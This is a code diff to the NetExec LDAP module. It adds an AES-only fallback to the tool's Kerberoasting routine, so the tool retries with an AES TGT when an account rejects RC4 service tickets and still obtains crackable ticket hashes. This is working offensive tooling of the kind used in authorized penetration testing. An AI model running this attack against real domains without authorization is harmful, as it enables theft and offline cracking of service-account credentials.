Fix Kerberoasting against AES-only

nxc/protocols/ldap.py

@@ -28,7 +28,7 @@
 )
 from impacket.krb5 import constants
 from impacket.krb5.crypto import generate_kerberos_keys
-from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
+from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError, KerberosError
 from impacket.krb5.ccache import CCache
 from impacket.krb5.types import Principal, KerberosException
 from impacket.ldap import ldap as ldap_impacket
@@ -973,6 +973,24 @@ def asreproast(self):
                     with open(self.args.asreproast, "a+") as hash_asreproast:
                         hash_asreproast.write(f"{hash_TGT}\n")
 
+    def _kerberoast_aes_fallback(self, e, current_tgt):
+        """Obtain (and cache) an AES TGT to retry kerberoasting when an AES-only account rejects the RC4 ticket."""
+        if not isinstance(e, KerberosError) or e.getErrorCode() != constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+            return None
+
+        cached = getattr(self, "_kerberoast_aes_tgt", None)
+        if cached is not None:
+            # Already using the AES TGT and it still failed: nothing more to try for this account.
+            return None if current_tgt is cached else cached
+
+        if not self.password and not self.aesKey:
+            self.logger.fail("Target rejects RC4 (AES-only) and the current auth cannot request an AES TGT. Use password or --aesKey auth to kerberoast this account.")
+            return None
+
+        self.logger.info("Target rejects RC4 (AES-only); retrying kerberoasting with an AES TGT")
+        self._kerberoast_aes_tgt = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache, force_aes=True)
+        return self._kerberoast_aes_tgt
+
     def kerberoasting(self):
         if self.args.no_preauth_targets:
             self.roast_no_preauth()
@@ -1051,14 +1069,30 @@ def kerberoasting(self):
                         principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
                         principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"]
 
-                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
-                            principalName,
-                            self.domain,
-                            self.kdcHost,
-                            TGT["KDC_REP"],
-                            TGT["cipher"],
-                            TGT["sessionKey"],
-                        )
+                        try:
+                            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
+                                principalName,
+                                self.domain,
+                                self.kdcHost,
+                                TGT["KDC_REP"],
+                                TGT["cipher"],
+                                TGT["sessionKey"],
+                            )
+                        except Exception as e:
+                            # RC4 service ticket rejected by an AES-only account (KDC_ERR_ETYPE_NOSUPP).
+                            # Retry once with an AES TGT, mirroring the asreproast fallback behavior.
+                            aes_tgt = self._kerberoast_aes_fallback(e, TGT)
+                            if aes_tgt is None:
+                                raise
+                            TGT = aes_tgt
+                            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
+                                principalName,
+                                self.domain,
+                                self.kdcHost,
+                                TGT["KDC_REP"],
+                                TGT["cipher"],
+                                TGT["sessionKey"],
+                            )
                         out = KerberosAttacks(self).output_tgs(
                             tgs,
                             oldSessionKey,

nxc/protocols/ldap/kerberos.py

@@ -123,7 +123,7 @@ def output_tgs_from_asrep(self, asrep_blob, spn, fd=None):
             fd.write(entry + "\n")
         return entry
 
-    def get_tgt_kerberoasting(self, kcache=None):
+    def get_tgt_kerberoasting(self, kcache=None, force_aes=False):
         if kcache:
             if getenv("KRB5CCNAME"):
                 self.logger.debug("KRB5CCNAME environment variable exists, attempting to use that...")
@@ -152,7 +152,9 @@ def get_tgt_kerberoasting(self, kcache=None):
         # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
         # cleartext password.
         # If no clear text password is provided, we just go with the defaults.
-        if self.password != "" and (self.lmhash == "" and self.nthash == ""):
+        # When force_aes is set (AES-only target rejected RC4), we skip the RC4 conversion so the KDC
+        # negotiates an AES TGT from the cleartext password / aesKey instead.
+        if self.password != "" and (self.lmhash == "" and self.nthash == "") and not force_aes:
             try:
                 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                     user_name,